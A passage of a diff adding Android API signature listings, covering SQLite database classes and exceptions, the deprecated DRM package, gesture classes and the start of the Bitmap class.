+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder addOpenFlags(int);
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams build();
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder removeOpenFlags(int);
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setCursorFactory(@Nullable android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setErrorHandler(@Nullable android.database.DatabaseErrorHandler);
+    method @Deprecated @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setIdleConnectionTimeout(@IntRange(from=0) long);
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setJournalMode(@NonNull String);
+    method public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setLookasideConfig(@IntRange(from=0) int, @IntRange(from=0) int);
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setOpenFlags(int);
+    method @NonNull public android.database.sqlite.SQLiteDatabase.OpenParams.Builder setSynchronousMode(@NonNull String);
+  }
+
+  public class SQLiteDatabaseCorruptException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteDatabaseCorruptException();
+    ctor public SQLiteDatabaseCorruptException(String);
+  }
+
+  public class SQLiteDatabaseLockedException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteDatabaseLockedException();
+    ctor public SQLiteDatabaseLockedException(String);
+  }
+
+  public class SQLiteDatatypeMismatchException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteDatatypeMismatchException();
+    ctor public SQLiteDatatypeMismatchException(String);
+  }
+
+  public class SQLiteDiskIOException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteDiskIOException();
+    ctor public SQLiteDiskIOException(String);
+  }
+
+  public class SQLiteDoneException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteDoneException();
+    ctor public SQLiteDoneException(String);
+  }
+
+  public class SQLiteException extends android.database.SQLException {
+    ctor public SQLiteException();
+    ctor public SQLiteException(String);
+    ctor public SQLiteException(String, Throwable);
+  }
+
+  public class SQLiteFullException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteFullException();
+    ctor public SQLiteFullException(String);
+  }
+
+  public class SQLiteMisuseException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteMisuseException();
+    ctor public SQLiteMisuseException(String);
+  }
+
+  public abstract class SQLiteOpenHelper implements java.lang.AutoCloseable {
+    ctor public SQLiteOpenHelper(@Nullable android.content.Context, @Nullable String, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory, int);
+    ctor public SQLiteOpenHelper(@Nullable android.content.Context, @Nullable String, @Nullable android.database.sqlite.SQLiteDatabase.CursorFactory, int, @Nullable android.database.DatabaseErrorHandler);
+    ctor public SQLiteOpenHelper(@Nullable android.content.Context, @Nullable String, int, @NonNull android.database.sqlite.SQLiteDatabase.OpenParams);
+    method public void close();
+    method public String getDatabaseName();
+    method public android.database.sqlite.SQLiteDatabase getReadableDatabase();
+    method public android.database.sqlite.SQLiteDatabase getWritableDatabase();
+    method public void onConfigure(android.database.sqlite.SQLiteDatabase);
+    method public abstract void onCreate(android.database.sqlite.SQLiteDatabase);
+    method public void onDowngrade(android.database.sqlite.SQLiteDatabase, int, int);
+    method public void onOpen(android.database.sqlite.SQLiteDatabase);
+    method public abstract void onUpgrade(android.database.sqlite.SQLiteDatabase, int, int);
+    method @Deprecated public void setIdleConnectionTimeout(@IntRange(from=0) long);
+    method public void setLookasideConfig(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public void setOpenParams(@NonNull android.database.sqlite.SQLiteDatabase.OpenParams);
+    method public void setWriteAheadLoggingEnabled(boolean);
+  }
+
+  public class SQLiteOutOfMemoryException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteOutOfMemoryException();
+    ctor public SQLiteOutOfMemoryException(String);
+  }
+
+  public abstract class SQLiteProgram extends android.database.sqlite.SQLiteClosable {
+    method public void bindAllArgsAsStrings(String[]);
+    method public void bindBlob(int, byte[]);
+    method public void bindDouble(int, double);
+    method public void bindLong(int, long);
+    method public void bindNull(int);
+    method public void bindString(int, String);
+    method public void clearBindings();
+    method @Deprecated public final int getUniqueId();
+    method protected void onAllReferencesReleased();
+  }
+
+  public final class SQLiteQuery extends android.database.sqlite.SQLiteProgram {
+  }
+
+  public class SQLiteQueryBuilder {
+    ctor public SQLiteQueryBuilder();
+    method public static void appendColumns(StringBuilder, String[]);
+    method public void appendWhere(@NonNull CharSequence);
+    method public void appendWhereEscapeString(@NonNull String);
+    method public void appendWhereStandalone(@NonNull CharSequence);
+    method public String buildQuery(String[], String, String, String, String, String);
+    method @Deprecated public String buildQuery(String[], String, String[], String, String, String, String);
+    method public static String buildQueryString(boolean, String, String[], String, String, String, String, String);
+    method public String buildUnionQuery(String[], String, String);
+    method public String buildUnionSubQuery(String, String[], java.util.Set<java.lang.String>, int, String, String, String, String);
+    method @Deprecated public String buildUnionSubQuery(String, String[], java.util.Set<java.lang.String>, int, String, String, String[], String, String);
+    method public int delete(@NonNull android.database.sqlite.SQLiteDatabase, @Nullable String, @Nullable String[]);
+    method @Nullable public android.database.sqlite.SQLiteDatabase.CursorFactory getCursorFactory();
+    method @Nullable public java.util.Collection<java.util.regex.Pattern> getProjectionGreylist();
+    method @Nullable public java.util.Map<java.lang.String,java.lang.String> getProjectionMap();
+    method @Nullable public String getTables();
+    method public long insert(@NonNull android.database.sqlite.SQLiteDatabase, @NonNull android.content.ContentValues);
+    method public boolean isDistinct();
+    method public boolean isStrict();
+    method public boolean isStrictColumns();
+    method public boolean isStrictGrammar();
+    method public android.database.Cursor query(android.database.sqlite.SQLiteDatabase, String[], String, String[], String, String, String);
+    method public android.database.Cursor query(android.database.sqlite.SQLiteDatabase, String[], String, String[], String, String, String, String);
+    method public android.database.Cursor query(android.database.sqlite.SQLiteDatabase, String[], String, String[], String, String, String, String, android.os.CancellationSignal);
+    method public void setCursorFactory(@Nullable android.database.sqlite.SQLiteDatabase.CursorFactory);
+    method public void setDistinct(boolean);
+    method public void setProjectionGreylist(@Nullable java.util.Collection<java.util.regex.Pattern>);
+    method public void setProjectionMap(@Nullable java.util.Map<java.lang.String,java.lang.String>);
+    method public void setStrict(boolean);
+    method public void setStrictColumns(boolean);
+    method public void setStrictGrammar(boolean);
+    method public void setTables(@Nullable String);
+    method public int update(@NonNull android.database.sqlite.SQLiteDatabase, @NonNull android.content.ContentValues, @Nullable String, @Nullable String[]);
+  }
+
+  public class SQLiteReadOnlyDatabaseException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteReadOnlyDatabaseException();
+    ctor public SQLiteReadOnlyDatabaseException(String);
+  }
+
+  public final class SQLiteStatement extends android.database.sqlite.SQLiteProgram {
+    method public void execute();
+    method public long executeInsert();
+    method public int executeUpdateDelete();
+    method public android.os.ParcelFileDescriptor simpleQueryForBlobFileDescriptor();
+    method public long simpleQueryForLong();
+    method public String simpleQueryForString();
+  }
+
+  public class SQLiteTableLockedException extends android.database.sqlite.SQLiteException {
+    ctor public SQLiteTableLockedException();
+    ctor public SQLiteTableLockedException(String);
+  }
+
+  public interface SQLiteTransactionListener {
+    method public void onBegin();
+    method public void onCommit();
+    method public void onRollback();
+  }
+
+}
+
+package android.drm {
+
+  @Deprecated public class DrmConvertedStatus {
+    ctor @Deprecated public DrmConvertedStatus(int, byte[], int);
+    field @Deprecated public static final int STATUS_ERROR = 3; // 0x3
+    field @Deprecated public static final int STATUS_INPUTDATA_ERROR = 2; // 0x2
+    field @Deprecated public static final int STATUS_OK = 1; // 0x1
+    field @Deprecated public final byte[] convertedData;
+    field @Deprecated public final int offset;
+    field @Deprecated public final int statusCode;
+  }
+
+  @Deprecated public class DrmErrorEvent extends android.drm.DrmEvent {
+    ctor @Deprecated public DrmErrorEvent(int, int, String);
+    ctor @Deprecated public DrmErrorEvent(int, int, String, java.util.HashMap<java.lang.String,java.lang.Object>);
+    field @Deprecated public static final int TYPE_ACQUIRE_DRM_INFO_FAILED = 2008; // 0x7d8
+    field @Deprecated public static final int TYPE_NOT_SUPPORTED = 2003; // 0x7d3
+    field @Deprecated public static final int TYPE_NO_INTERNET_CONNECTION = 2005; // 0x7d5
+    field @Deprecated public static final int TYPE_OUT_OF_MEMORY = 2004; // 0x7d4
+    field @Deprecated public static final int TYPE_PROCESS_DRM_INFO_FAILED = 2006; // 0x7d6
+    field @Deprecated public static final int TYPE_REMOVE_ALL_RIGHTS_FAILED = 2007; // 0x7d7
+    field @Deprecated public static final int TYPE_RIGHTS_NOT_INSTALLED = 2001; // 0x7d1
+    field @Deprecated public static final int TYPE_RIGHTS_RENEWAL_NOT_ALLOWED = 2002; // 0x7d2
+  }
+
+  @Deprecated public class DrmEvent {
+    ctor @Deprecated protected DrmEvent(int, int, String, java.util.HashMap<java.lang.String,java.lang.Object>);
+    ctor @Deprecated protected DrmEvent(int, int, String);
+    method @Deprecated public Object getAttribute(String);
+    method @Deprecated public String getMessage();
+    method @Deprecated public int getType();
+    method @Deprecated public int getUniqueId();
+    field @Deprecated public static final String DRM_INFO_OBJECT = "drm_info_object";
+    field @Deprecated public static final String DRM_INFO_STATUS_OBJECT = "drm_info_status_object";
+    field @Deprecated public static final int TYPE_ALL_RIGHTS_REMOVED = 1001; // 0x3e9
+    field @Deprecated public static final int TYPE_DRM_INFO_PROCESSED = 1002; // 0x3ea
+  }
+
+  @Deprecated public class DrmInfo {
+    ctor @Deprecated public DrmInfo(int, byte[], String);
+    ctor @Deprecated public DrmInfo(int, String, String);
+    method @Deprecated public Object get(String);
+    method @Deprecated public byte[] getData();
+    method @Deprecated public int getInfoType();
+    method @Deprecated public String getMimeType();
+    method @Deprecated public java.util.Iterator<java.lang.Object> iterator();
+    method @Deprecated public java.util.Iterator<java.lang.String> keyIterator();
+    method @Deprecated public void put(String, Object);
+  }
+
+  @Deprecated public class DrmInfoEvent extends android.drm.DrmEvent {
+    ctor @Deprecated public DrmInfoEvent(int, int, String);
+    ctor @Deprecated public DrmInfoEvent(int, int, String, java.util.HashMap<java.lang.String,java.lang.Object>);
+    field @Deprecated public static final int TYPE_ACCOUNT_ALREADY_REGISTERED = 5; // 0x5
+    field @Deprecated public static final int TYPE_ALREADY_REGISTERED_BY_ANOTHER_ACCOUNT = 1; // 0x1
+    field @Deprecated public static final int TYPE_REMOVE_RIGHTS = 2; // 0x2
+    field @Deprecated public static final int TYPE_RIGHTS_INSTALLED = 3; // 0x3
+    field @Deprecated public static final int TYPE_RIGHTS_REMOVED = 6; // 0x6
+    field @Deprecated public static final int TYPE_WAIT_FOR_RIGHTS = 4; // 0x4
+  }
+
+  @Deprecated public class DrmInfoRequest {
+    ctor @Deprecated public DrmInfoRequest(int, String);
+    method @Deprecated public Object get(String);
+    method @Deprecated public int getInfoType();
+    method @Deprecated public String getMimeType();
+    method @Deprecated public java.util.Iterator<java.lang.Object> iterator();
+    method @Deprecated public java.util.Iterator<java.lang.String> keyIterator();
+    method @Deprecated public void put(String, Object);
+    field @Deprecated public static final String ACCOUNT_ID = "account_id";
+    field @Deprecated public static final String SUBSCRIPTION_ID = "subscription_id";
+    field @Deprecated public static final int TYPE_REGISTRATION_INFO = 1; // 0x1
+    field @Deprecated public static final int TYPE_RIGHTS_ACQUISITION_INFO = 3; // 0x3
+    field @Deprecated public static final int TYPE_RIGHTS_ACQUISITION_PROGRESS_INFO = 4; // 0x4
+    field @Deprecated public static final int TYPE_UNREGISTRATION_INFO = 2; // 0x2
+  }
+
+  @Deprecated public class DrmInfoStatus {
+    ctor @Deprecated public DrmInfoStatus(int, int, android.drm.ProcessedData, String);
+    field @Deprecated public static final int STATUS_ERROR = 2; // 0x2
+    field @Deprecated public static final int STATUS_OK = 1; // 0x1
+    field @Deprecated public final android.drm.ProcessedData data;
+    field @Deprecated public final int infoType;
+    field @Deprecated public final String mimeType;
+    field @Deprecated public final int statusCode;
+  }
+
+  @Deprecated public class DrmManagerClient implements java.lang.AutoCloseable {
+    ctor @Deprecated public DrmManagerClient(android.content.Context);
+    method @Deprecated public android.drm.DrmInfo acquireDrmInfo(android.drm.DrmInfoRequest);
+    method @Deprecated public int acquireRights(android.drm.DrmInfoRequest);
+    method @Deprecated public boolean canHandle(String, String);
+    method @Deprecated public boolean canHandle(android.net.Uri, String);
+    method @Deprecated public int checkRightsStatus(String);
+    method @Deprecated public int checkRightsStatus(android.net.Uri);
+    method @Deprecated public int checkRightsStatus(String, int);
+    method @Deprecated public int checkRightsStatus(android.net.Uri, int);
+    method @Deprecated public void close();
+    method @Deprecated public android.drm.DrmConvertedStatus closeConvertSession(int);
+    method @Deprecated public android.drm.DrmConvertedStatus convertData(int, byte[]);
+    method @Deprecated public String[] getAvailableDrmEngines();
+    method @Deprecated @NonNull public java.util.Collection<android.drm.DrmSupportInfo> getAvailableDrmSupportInfo();
+    method @Deprecated public android.content.ContentValues getConstraints(String, int);
+    method @Deprecated public android.content.ContentValues getConstraints(android.net.Uri, int);
+    method @Deprecated public int getDrmObjectType(String, String);
+    method @Deprecated public int getDrmObjectType(android.net.Uri, String);
+    method @Deprecated public android.content.ContentValues getMetadata(String);
+    method @Deprecated public android.content.ContentValues getMetadata(android.net.Uri);
+    method @Deprecated public String getOriginalMimeType(String);
+    method @Deprecated public String getOriginalMimeType(android.net.Uri);
+    method @Deprecated public int openConvertSession(String);
+    method @Deprecated public int processDrmInfo(android.drm.DrmInfo);
+    method @Deprecated public void release();
+    method @Deprecated public int removeAllRights();
+    method @Deprecated public int removeRights(String);
+    method @Deprecated public int removeRights(android.net.Uri);
+    method @Deprecated public int saveRights(android.drm.DrmRights, String, String) throws java.io.IOException;
+    method @Deprecated public void setOnErrorListener(android.drm.DrmManagerClient.OnErrorListener);
+    method @Deprecated public void setOnEventListener(android.drm.DrmManagerClient.OnEventListener);
+    method @Deprecated public void setOnInfoListener(android.drm.DrmManagerClient.OnInfoListener);
+    field @Deprecated public static final int ERROR_NONE = 0; // 0x0
+    field @Deprecated public static final int ERROR_UNKNOWN = -2000; // 0xfffff830
+  }
+
+  @Deprecated public static interface DrmManagerClient.OnErrorListener {
+    method @Deprecated public void onError(android.drm.DrmManagerClient, android.drm.DrmErrorEvent);
+  }
+
+  @Deprecated public static interface DrmManagerClient.OnEventListener {
+    method @Deprecated public void onEvent(android.drm.DrmManagerClient, android.drm.DrmEvent);
+  }
+
+  @Deprecated public static interface DrmManagerClient.OnInfoListener {
+    method @Deprecated public void onInfo(android.drm.DrmManagerClient, android.drm.DrmInfoEvent);
+  }
+
+  @Deprecated public class DrmRights {
+    ctor @Deprecated public DrmRights(String, String);
+    ctor @Deprecated public DrmRights(String, String, String);
+    ctor @Deprecated public DrmRights(String, String, String, String);
+    ctor @Deprecated public DrmRights(java.io.File, String);
+    ctor @Deprecated public DrmRights(android.drm.ProcessedData, String);
+    method @Deprecated public String getAccountId();
+    method @Deprecated public byte[] getData();
+    method @Deprecated public String getMimeType();
+    method @Deprecated public String getSubscriptionId();
+  }
+
+  @Deprecated public class DrmStore {
+    ctor @Deprecated public DrmStore();
+  }
+
+  @Deprecated public static class DrmStore.Action {
+    ctor @Deprecated public DrmStore.Action();
+    field @Deprecated public static final int DEFAULT = 0; // 0x0
+    field @Deprecated public static final int DISPLAY = 7; // 0x7
+    field @Deprecated public static final int EXECUTE = 6; // 0x6
+    field @Deprecated public static final int OUTPUT = 4; // 0x4
+    field @Deprecated public static final int PLAY = 1; // 0x1
+    field @Deprecated public static final int PREVIEW = 5; // 0x5
+    field @Deprecated public static final int RINGTONE = 2; // 0x2
+    field @Deprecated public static final int TRANSFER = 3; // 0x3
+  }
+
+  @Deprecated public static interface DrmStore.ConstraintsColumns {
+    field @Deprecated public static final String EXTENDED_METADATA = "extended_metadata";
+    field @Deprecated public static final String LICENSE_AVAILABLE_TIME = "license_available_time";
+    field @Deprecated public static final String LICENSE_EXPIRY_TIME = "license_expiry_time";
+    field @Deprecated public static final String LICENSE_START_TIME = "license_start_time";
+    field @Deprecated public static final String MAX_REPEAT_COUNT = "max_repeat_count";
+    field @Deprecated public static final String REMAINING_REPEAT_COUNT = "remaining_repeat_count";
+  }
+
+  @Deprecated public static class DrmStore.DrmObjectType {
+    ctor @Deprecated public DrmStore.DrmObjectType();
+    field @Deprecated public static final int CONTENT = 1; // 0x1
+    field @Deprecated public static final int RIGHTS_OBJECT = 2; // 0x2
+    field @Deprecated public static final int TRIGGER_OBJECT = 3; // 0x3
+    field @Deprecated public static final int UNKNOWN = 0; // 0x0
+  }
+
+  @Deprecated public static class DrmStore.Playback {
+    ctor @Deprecated public DrmStore.Playback();
+    field @Deprecated public static final int PAUSE = 2; // 0x2
+    field @Deprecated public static final int RESUME = 3; // 0x3
+    field @Deprecated public static final int START = 0; // 0x0
+    field @Deprecated public static final int STOP = 1; // 0x1
+  }
+
+  @Deprecated public static class DrmStore.RightsStatus {
+    ctor @Deprecated public DrmStore.RightsStatus();
+    field @Deprecated public static final int RIGHTS_EXPIRED = 2; // 0x2
+    field @Deprecated public static final int RIGHTS_INVALID = 1; // 0x1
+    field @Deprecated public static final int RIGHTS_NOT_ACQUIRED = 3; // 0x3
+    field @Deprecated public static final int RIGHTS_VALID = 0; // 0x0
+  }
+
+  @Deprecated public class DrmSupportInfo {
+    ctor @Deprecated public DrmSupportInfo();
+    method @Deprecated public void addFileSuffix(String);
+    method @Deprecated public void addMimeType(String);
+    method @Deprecated public String getDescriprition();
+    method @Deprecated public String getDescription();
+    method @Deprecated public java.util.Iterator<java.lang.String> getFileSuffixIterator();
+    method @Deprecated public java.util.Iterator<java.lang.String> getMimeTypeIterator();
+    method @Deprecated public void setDescription(String);
+  }
+
+  @Deprecated public class DrmUtils {
+    ctor @Deprecated public DrmUtils();
+    method @Deprecated public static android.drm.DrmUtils.ExtendedMetadataParser getExtendedMetadataParser(byte[]);
+  }
+
+  @Deprecated public static class DrmUtils.ExtendedMetadataParser {
+    method @Deprecated public String get(String);
+    method @Deprecated public java.util.Iterator<java.lang.String> iterator();
+    method @Deprecated public java.util.Iterator<java.lang.String> keyIterator();
+  }
+
+  @Deprecated public class ProcessedData {
+    method @Deprecated public String getAccountId();
+    method @Deprecated public byte[] getData();
+    method @Deprecated public String getSubscriptionId();
+  }
+
+}
+
+package android.gesture {
+
+  public class Gesture implements android.os.Parcelable {
+    ctor public Gesture();
+    method public void addStroke(android.gesture.GestureStroke);
+    method public Object clone();
+    method public int describeContents();
+    method public android.graphics.RectF getBoundingBox();
+    method public long getID();
+    method public float getLength();
+    method public java.util.ArrayList<android.gesture.GestureStroke> getStrokes();
+    method public int getStrokesCount();
+    method public android.graphics.Bitmap toBitmap(int, int, int, int, int);
+    method public android.graphics.Bitmap toBitmap(int, int, int, int);
+    method public android.graphics.Path toPath();
+    method public android.graphics.Path toPath(android.graphics.Path);
+    method public android.graphics.Path toPath(int, int, int, int);
+    method public android.graphics.Path toPath(android.graphics.Path, int, int, int, int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.gesture.Gesture> CREATOR;
+  }
+
+  public final class GestureLibraries {
+    method public static android.gesture.GestureLibrary fromFile(String);
+    method public static android.gesture.GestureLibrary fromFile(java.io.File);
+    method @NonNull public static android.gesture.GestureLibrary fromFileDescriptor(@NonNull android.os.ParcelFileDescriptor);
+    method public static android.gesture.GestureLibrary fromPrivateFile(android.content.Context, String);
+    method public static android.gesture.GestureLibrary fromRawResource(android.content.Context, @RawRes int);
+  }
+
+  public abstract class GestureLibrary {
+    ctor protected GestureLibrary();
+    method public void addGesture(String, android.gesture.Gesture);
+    method public java.util.Set<java.lang.String> getGestureEntries();
+    method public java.util.ArrayList<android.gesture.Gesture> getGestures(String);
+    method public int getOrientationStyle();
+    method public int getSequenceType();
+    method public boolean isReadOnly();
+    method public abstract boolean load();
+    method public java.util.ArrayList<android.gesture.Prediction> recognize(android.gesture.Gesture);
+    method public void removeEntry(String);
+    method public void removeGesture(String, android.gesture.Gesture);
+    method public abstract boolean save();
+    method public void setOrientationStyle(int);
+    method public void setSequenceType(int);
+    field protected final android.gesture.GestureStore mStore;
+  }
+
+  public class GestureOverlayView extends android.widget.FrameLayout {
+    ctor public GestureOverlayView(android.content.Context);
+    ctor public GestureOverlayView(android.content.Context, android.util.AttributeSet);
+    ctor public GestureOverlayView(android.content.Context, android.util.AttributeSet, int);
+    ctor public GestureOverlayView(android.content.Context, android.util.AttributeSet, int, int);
+    method public void addOnGestureListener(android.gesture.GestureOverlayView.OnGestureListener);
+    method public void addOnGesturePerformedListener(android.gesture.GestureOverlayView.OnGesturePerformedListener);
+    method public void addOnGesturingListener(android.gesture.GestureOverlayView.OnGesturingListener);
+    method public void cancelClearAnimation();
+    method public void cancelGesture();
+    method public void clear(boolean);
+    method public java.util.ArrayList<android.gesture.GesturePoint> getCurrentStroke();
+    method public long getFadeOffset();
+    method public android.gesture.Gesture getGesture();
+    method @ColorInt public int getGestureColor();
+    method public android.graphics.Path getGesturePath();
+    method public android.graphics.Path getGesturePath(android.graphics.Path);
+    method public float getGestureStrokeAngleThreshold();
+    method public float getGestureStrokeLengthThreshold();
+    method public float getGestureStrokeSquarenessTreshold();
+    method public int getGestureStrokeType();
+    method public float getGestureStrokeWidth();
+    method public int getOrientation();
+    method @ColorInt public int getUncertainGestureColor();
+    method public boolean isEventsInterceptionEnabled();
+    method public boolean isFadeEnabled();
+    method public boolean isGestureVisible();
+    method public boolean isGesturing();
+    method public void removeAllOnGestureListeners();
+    method public void removeAllOnGesturePerformedListeners();
+    method public void removeAllOnGesturingListeners();
+    method public void removeOnGestureListener(android.gesture.GestureOverlayView.OnGestureListener);
+    method public void removeOnGesturePerformedListener(android.gesture.GestureOverlayView.OnGesturePerformedListener);
+    method public void removeOnGesturingListener(android.gesture.GestureOverlayView.OnGesturingListener);
+    method public void setEventsInterceptionEnabled(boolean);
+    method public void setFadeEnabled(boolean);
+    method public void setFadeOffset(long);
+    method public void setGesture(android.gesture.Gesture);
+    method public void setGestureColor(@ColorInt int);
+    method public void setGestureStrokeAngleThreshold(float);
+    method public void setGestureStrokeLengthThreshold(float);
+    method public void setGestureStrokeSquarenessTreshold(float);
+    method public void setGestureStrokeType(int);
+    method public void setGestureStrokeWidth(float);
+    method public void setGestureVisible(boolean);
+    method public void setOrientation(int);
+    method public void setUncertainGestureColor(@ColorInt int);
+    field public static final int GESTURE_STROKE_TYPE_MULTIPLE = 1; // 0x1
+    field public static final int GESTURE_STROKE_TYPE_SINGLE = 0; // 0x0
+    field public static final int ORIENTATION_HORIZONTAL = 0; // 0x0
+    field public static final int ORIENTATION_VERTICAL = 1; // 0x1
+  }
+
+  public static interface GestureOverlayView.OnGestureListener {
+    method public void onGesture(android.gesture.GestureOverlayView, android.view.MotionEvent);
+    method public void onGestureCancelled(android.gesture.GestureOverlayView, android.view.MotionEvent);
+    method public void onGestureEnded(android.gesture.GestureOverlayView, android.view.MotionEvent);
+    method public void onGestureStarted(android.gesture.GestureOverlayView, android.view.MotionEvent);
+  }
+
+  public static interface GestureOverlayView.OnGesturePerformedListener {
+    method public void onGesturePerformed(android.gesture.GestureOverlayView, android.gesture.Gesture);
+  }
+
+  public static interface GestureOverlayView.OnGesturingListener {
+    method public void onGesturingEnded(android.gesture.GestureOverlayView);
+    method public void onGesturingStarted(android.gesture.GestureOverlayView);
+  }
+
+  public class GesturePoint {
+    ctor public GesturePoint(float, float, long);
+    method public Object clone();
+    field public final long timestamp;
+    field public final float x;
+    field public final float y;
+  }
+
+  public class GestureStore {
+    ctor public GestureStore();
+    method public void addGesture(String, android.gesture.Gesture);
+    method public java.util.Set<java.lang.String> getGestureEntries();
+    method public java.util.ArrayList<android.gesture.Gesture> getGestures(String);
+    method public int getOrientationStyle();
+    method public int getSequenceType();
+    method public boolean hasChanged();
+    method public void load(java.io.InputStream) throws java.io.IOException;
+    method public void load(java.io.InputStream, boolean) throws java.io.IOException;
+    method public java.util.ArrayList<android.gesture.Prediction> recognize(android.gesture.Gesture);
+    method public void removeEntry(String);
+    method public void removeGesture(String, android.gesture.Gesture);
+    method public void save(java.io.OutputStream) throws java.io.IOException;
+    method public void save(java.io.OutputStream, boolean) throws java.io.IOException;
+    method public void setOrientationStyle(int);
+    method public void setSequenceType(int);
+    field public static final int ORIENTATION_INVARIANT = 1; // 0x1
+    field public static final int ORIENTATION_SENSITIVE = 2; // 0x2
+    field public static final int SEQUENCE_INVARIANT = 1; // 0x1
+    field public static final int SEQUENCE_SENSITIVE = 2; // 0x2
+  }
+
+  public class GestureStroke {
+    ctor public GestureStroke(java.util.ArrayList<android.gesture.GesturePoint>);
+    method public void clearPath();
+    method public Object clone();
+    method public android.gesture.OrientedBoundingBox computeOrientedBoundingBox();
+    method public android.graphics.Path getPath();
+    method public android.graphics.Path toPath(float, float, int);
+    field public final android.graphics.RectF boundingBox;
+    field public final float length;
+    field public final float[] points;
+  }
+
+  public final class GestureUtils {
+    method public static android.gesture.OrientedBoundingBox computeOrientedBoundingBox(java.util.ArrayList<android.gesture.GesturePoint>);
+    method public static android.gesture.OrientedBoundingBox computeOrientedBoundingBox(float[]);
+    method public static float[] spatialSampling(android.gesture.Gesture, int);
+    method public static float[] spatialSampling(android.gesture.Gesture, int, boolean);
+    method public static float[] temporalSampling(android.gesture.GestureStroke, int);
+  }
+
+  public class OrientedBoundingBox {
+    field public final float centerX;
+    field public final float centerY;
+    field public final float height;
+    field public final float orientation;
+    field public final float squareness;
+    field public final float width;
+  }
+
+  public class Prediction {
+    field public final String name;
+    field public double score;
+  }
+
+}
+
+package android.graphics {
+
+  public final class Bitmap implements android.os.Parcelable {
+    method @NonNull public android.graphics.Bitmap asShared();
+    method @WorkerThread public boolean compress(android.graphics.Bitmap.CompressFormat, int, java.io.OutputStream);
+    method public android.graphics.Bitmap copy(android.graphics.Bitmap.Config, boolean);
+    method public void copyPixelsFromBuffer(java.nio.Buffer);
+    method public void copyPixelsToBuffer(java.nio.Buffer);
+    method public static android.graphics.Bitmap createBitmap(@NonNull android.graphics.Bitmap);
+    method public static android.graphics.Bitmap createBitmap(@NonNull android.graphics.Bitmap, int, int, int, int);
+    method public static android.graphics.Bitmap createBitmap(@NonNull android.graphics.Bitmap, int, int, int, int, @Nullable android.graphics.Matrix, boolean);
+    method public static android.graphics.Bitmap createBitmap(int, int, @NonNull android.graphics.Bitmap.Config);
+    method public static android.graphics.Bitmap createBitmap(@Nullable android.util.DisplayMetrics, int, int, @NonNull android.graphics.Bitmap.Config);
+    method public static android.graphics.Bitmap createBitmap(int, int, @NonNull android.graphics.Bitmap.Config, boolean);
+    method public static android.graphics.Bitmap createBitmap(int, int, @NonNull android.graphics.Bitmap.Config, boolean, @NonNull android.graphics.ColorSpace);
+    method public static android.graphics.Bitmap createBitmap(@Nullable android.util.DisplayMetrics, int, int, @NonNull android.graphics.Bitmap.Config, boolean);
+    method public static android.graphics.Bitmap createBitmap(@Nullable android.util.DisplayMetrics, int, int, @NonNull android.graphics.Bitmap.Config, boolean, @NonNull android.graphics.ColorSpace);
+    method public static android.graphics.Bitmap createBitmap(@ColorInt @NonNull int[], int, int, int, int, @NonNull android.graphics.Bitmap.Config);
+    method public static android.graphics.Bitmap createBitmap(@NonNull android.util.DisplayMetrics, @ColorInt @NonNull int[], int, int, int, int, @NonNull android.graphics.Bitmap.Config);
+    method public static android.graphics.Bitmap createBitmap(@ColorInt @NonNull int[], int, int, android.graphics.Bitmap.Config);
+    method public static android.graphics.Bitmap createBitmap(@Nullable android.util.DisplayMetrics, @ColorInt @NonNull int[], int, int, @NonNull android.graphics.Bitmap.Config);
+    method @NonNull public static android.graphics.Bitmap createBitmap(@NonNull android.graphics.Picture);
+    method @NonNull public static android.graphics.Bitmap createBitmap(@NonNull android.graphics.Picture, int, int, @NonNull android.graphics.Bitmap.Config);
+    method public static android.graphics.Bitmap createScaledBitmap(@NonNull android.graphics.Bitmap, int, int, boolean);
+    method public int describeContents();
+    method public void eraseColor(@ColorInt int);
+    method public void eraseColor(@ColorLong long);
+    method @CheckResult public android.graphics.Bitmap extractAlpha();
+    method @CheckResult public android.graphics.Bitmap extractAlpha(android.graphics.Paint, int[]);
+    method public int getAllocationByteCount();
+    method public int getByteCount();
+    method @NonNull public android.graphics.Color getColor(int, int);
+    method @Nullable public android.graphics.ColorSpace getColorSpace();
+    method public android.graphics.Bitmap.Config getConfig();
+    method public int getDensity();
+    method public int getGenerationId();
+    method @NonNull public android.hardware.HardwareBuffer getHardwareBuffer();
+    method public int getHeight();
+    method public byte[] getNinePatchChunk();
+    method @ColorInt public int getPixel(int, int);
+    method public void getPixels(@ColorInt int[], int, int, int, int, int, int);
+    method public int getRowBytes();
+    method public int getScaledHeight(android.graphics.Canvas);
+    method public int getScaledHeight(android.util.DisplayMetrics);
+    method public int getScaledHeight(int);
+    method public int getScaledWidth(android.graphics.Canvas);
+    method public int getScaledWidth(android.util.DisplayMetrics);
+    method public int getScaledWidth(int);
+    method public int getWidth();
+    method public boolean hasAlpha();
+    method public boolean hasMipMap();
+    method public boolean isMutable();
+    method public boolean isPremultiplied();
+    method public boolean isRecycled();
+    method public void prepareToDraw();
+    method public void reconfigure(int, int, android.graphics.Bitmap.Config);
+    method public void recycle();
+    method public boolean sameAs(android.graphics.Bitmap);
+    method public void setColorSpace(@NonNull android.graphics.ColorSpace);
+    method public void setConfig(android.graphics.Bitmap.Config);
+    method public void setDensity(int);
+    method public void setHasAlpha(boolean);
+    method public void setHasMipMap(boolean);
+    method public void setHeight(int);
+    method public void setPixel(int, int, @ColorInt int);
+    method public void setPixels(@ColorInt int[], int, int, int, int, int, int);
